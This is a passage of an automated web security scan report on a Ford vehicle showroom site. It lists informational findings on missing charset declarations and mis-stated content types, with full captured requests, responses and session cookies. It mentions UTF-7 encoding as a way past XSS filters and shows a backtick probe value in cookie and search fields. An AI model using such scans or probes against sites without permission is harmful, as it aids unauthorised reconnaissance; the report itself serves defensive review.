Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; ev22_getval=%60; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 86400
Content-Type: application/json; charset=UTF-8
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:47 GMT
Connection: close
Content-Length: 219300

{"Response":{"status":"OK","name":["suv","truck","crossover","car"],"Description":["SUV","Truck","Crossover","Car"],"Model":[{"Pricing":{"High":{"BaseXPlan":"45702.0","BaseAZPlan":"43545.0","BaseMSRP"
...[SNIP]...
m_BrandSitesVehicleName"},{"Value":"BP2/SR_360/8801EF28-EBAD-F121-5378-8F0453788F04.SWF","name":"Showroom_360"},{"Value":"5","name":"Showroom_Seating_max"},{"Value":"BP2/SR_GAL_TH_3/8801EF28-D756-728F-5378-909053789090.JPG","name":"Showroom_Gallery_Thumb_3"},{"Value":"BP2/SR_GAL_TH_4/8801EF28-BC97-02C3-5378-8F7E53788F7E.JPG","name":"Showroom_Gallery_Thumb_4"},{"Value":"BP2/SR_GAL_TH_1/8801EF28-0D99-CA88-5378-8967537
...[SNIP]...
ribute":[{"Value":"http://assets.forddirect.fordvehicles.com/assets/","name":"Showroom_Image_Server"},{"Value":"-1","name":"Showroom_Fuel_min"},{"Value":"BP2/SR_IMG_NAME/SR_IMG_NAME_8801EF28-7EC3-6E61-5383-114553831145.PNG","name":"Showroom_Image_Name"},{"Value":"SHOWROOM/SR_EXP/SR_EXP_8801F25B-E978-4E93-1A46-A5DF1A46A5DF.png","name":"Showroom_Expanded"},{"Value":"18500","name":"Showroom_Towing_max"},{"Value":"SHOWR
...[SNIP]...
3800CCA.JPG","name":"Showroom_Gallery_Thumb_6"},{"Value":"true","name":"ShoppingTools_Visible_In_BP"},{"Value":"-1","name":"Showroom_Fuel_min"},{"Value":"BP2/SR_IMG_NAME/SR_IMG_NAME_8801EF28-7EC3-6E61-5383-114553831145.PNG","name":"Showroom_Image_Name"},{"Value":"-1","name":"Showroom_Fuel_max"},{"Value":"true","name":"ShoppingTools_Visible_In_HomePage"},{"Value":"BP2/SR_GAL_2/8801EF28-142F-EFDF-5380-09E1538009E1.JPG
...[SNIP]...
ribute":[{"Value":"http://assets.forddirect.fordvehicles.com/assets/","name":"Showroom_Image_Server"},{"Value":"-1","name":"Showroom_Fuel_min"},{"Value":"BP2/SR_IMG_NAME/SR_IMG_NAME_8801EF28-7EC3-6E61-5383-114553831145.PNG","name":"Showroom_Image_Name"},{"Value":"BP2/SR_EXP/SR_EXP_8801EF28-302B-8FA2-0EFD-ACC90EFDACC9.png","name":"Showroom_Expanded"},{"Value":"10000","name":"Showroom_Towing_max"},{"Value":"BP2/SR_360
...[SNIP]...
475C4916475C.JPG","name":"Showroom_Gallery_Thumb_8"},{"Value":"BP2/SR_GAL_TH_5/8801EF28-3810-96C7-4916-49B8491649B8.JPG","name":"Showroom_Gallery_Thumb_5"},{"Value":"BP2/SR_GAL_TH_6/8801EF28-48CB-7D73-4916-451549164515.JPG","name":"Showroom_Gallery_Thumb_6"},{"Value":"true","name":"ShoppingTools_Visible_In_BP"},{"Value":"22","name":"Showroom_Fuel_min"},{"Value":"BP2/SR_IMG_NAME/SR_IMG_NAME_8801EF28-DA31-52A7-491F-2A
...[SNIP]...
5. HTML does not specify charset  previous  next
There are 4 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

5.1. http://www2.showroom.fordvehicles.com/FDShowroom/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FDShowroom/

Request

GET /FDShowroom/ HTTP/1.1
Host: www2.showroom.fordvehicles.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ev22_getval=%60; FPI=model=Mustang&make=Ford&year=2011&html=false; visivalm=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; sessionActive=true; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; ev_36_getval=20101119%2018; s_cc=true; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en; s_p_s_prop8=natural-referrer; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; visivale=0;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
$WSEP:
Last-Modified: Fri, 22 Oct 2010 08:35:46 GMT
Content-Length: 642
Content-Type: text/html
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:53 GMT
Connection: close

<html>
<head>
<title>Application Not Available</title>
<LINK HREF="/ErrorPages/404.css" REL="stylesheet" TYPE="text/css">
</head>
<body>
<center>
<table>
<tr>
   <th>
       <img src="/images/err-i
...[SNIP]...
5.2. http://www2.showroom.fordvehicles.com/FVShowroom/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /FVShowroom/

Request

GET /FVShowroom/ HTTP/1.1
Host: www2.showroom.fordvehicles.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ev22_getval=%60; FPI=model=Mustang&make=Ford&year=2011&html=false; visivalm=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; sessionActive=true; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; ev_36_getval=20101119%2018; s_cc=true; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en; s_p_s_prop8=natural-referrer; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; visivale=0;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
$WSEP:
Last-Modified: Fri, 22 Oct 2010 08:35:46 GMT
Content-Length: 642
Content-Type: text/html
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:56 GMT
Connection: close

<html>
<head>
<title>Application Not Available</title>
<LINK HREF="/ErrorPages/404.css" REL="stylesheet" TYPE="text/css">
</head>
<body>
<center>
<table>
<tr>
   <th>
       <img src="/images/err-i
...[SNIP]...
5.3. http://www2.showroom.fordvehicles.com/fdpresentation/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /fdpresentation/

Request

GET /fdpresentation/ HTTP/1.1
Host: www2.showroom.fordvehicles.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ev22_getval=%60; FPI=model=Mustang&make=Ford&year=2011&html=false; visivalm=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; sessionActive=true; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; ev_36_getval=20101119%2018; s_cc=true; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en; s_p_s_prop8=natural-referrer; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; visivale=0;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
$WSEP:
Last-Modified: Fri, 22 Oct 2010 08:35:46 GMT
Content-Length: 642
Content-Type: text/html
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:51 GMT
Connection: close

<html>
<head>
<title>Application Not Available</title>
<LINK HREF="/ErrorPages/404.css" REL="stylesheet" TYPE="text/css">
</head>
<body>
<center>
<table>
<tr>
   <th>
       <img src="/images/err-i
...[SNIP]...
5.4. http://www2.showroom.fordvehicles.com/static/com/forddirect/application/showroom/basepage/Showroom.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.showroom.fordvehicles.com
Path:   /static/com/forddirect/application/showroom/basepage/Showroom.html

Request

GET /static/com/forddirect/application/showroom/basepage/Showroom.html HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://www2.showroom.fordvehicles.com/FDShowroom.jsp?branding=1&referringSite=1&lang=en&makeTransition=inventory
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: www2.showroom.fordvehicles.com
Proxy-Connection: Keep-Alive
Cookie: userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; FPI=model=Mustang&make=Ford&year=2011&html=false; sessionActive=true; s_cc=true; s_p_s_prop8=natural-referrer; ev_36_getval=20101119%2018; visivalm=0; visivale=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; ev22_getval=%60; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
Last-Modified: Fri, 22 Oct 2010 08:37:48 GMT
Content-Type: text/html
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:49 GMT
Connection: close
Content-Length: 317

<div id="border">
<div id="left-border"></div>
<div id="right-border"></div>
</div>
<div id="page-bottom-base">
<div id="border-left-corner"></div>
<div id="border-bottom"></div>
...[SNIP]...
6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www2.showroom.fordvehicles.com
Path:   /localization/

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /localization/ HTTP/1.1
Host: www2.showroom.fordvehicles.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ev22_getval=%60; FPI=model=Mustang&make=Ford&year=2011&html=false; visivalm=0; lastcheck=1; s_sq=%5B%5BB%5D%5D; sessionActive=true; N1Z4=3eWtBBPhsCR-4jzP2Z0GuHBwTJ8cthcMPgKQF-EbpTxzGQmYEntRODg; ev_36_getval=20101119%2018; s_cc=true; NaNurlParamMap=document_referrer=http%3A%2F%2Fwww.fordvehicles.com%2Fsearch%2F%3Ff%253AsearchInputString%3D%2560%26f%253Asearch%3D%2B%26formID%3DglobalSearchForm&makeTransition=inventory&Skin=Mustang&FVS=false&referringSite=1&branding=1&lang=en; s_p_s_prop8=natural-referrer; JSSESSIONID=DE3A8242-54BB-4EE9-9D50-17B3DFD14501; userInfo=country_code=US,region_code=TX,city=DALLAS,county=DALLAS,zip=75201-75212+75214-75254+75258+75260-75267+75270+75275+75277+75283-75287+75294-75295+75301+75303+75310+75312-75313+75315+75320+75323+75326+75336+75339+75342+75346+75353-75357+75359-75360+75363-75364+75367-75368+75370-75374+75376+75378-75382+75386-75398; visivale=0;

Response

HTTP/1.1 500 Internal Server Error
Server: IBM_HTTP_Server/6.1.0.29 Apache/2.0.47
$WSEP:
Content-Length: 12
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Sat, 20 Nov 2010 03:06:53 GMT
Connection: close

Error 500:
Report generated by XSS.CX at Fri Nov 19 21:16:25 CST 2010.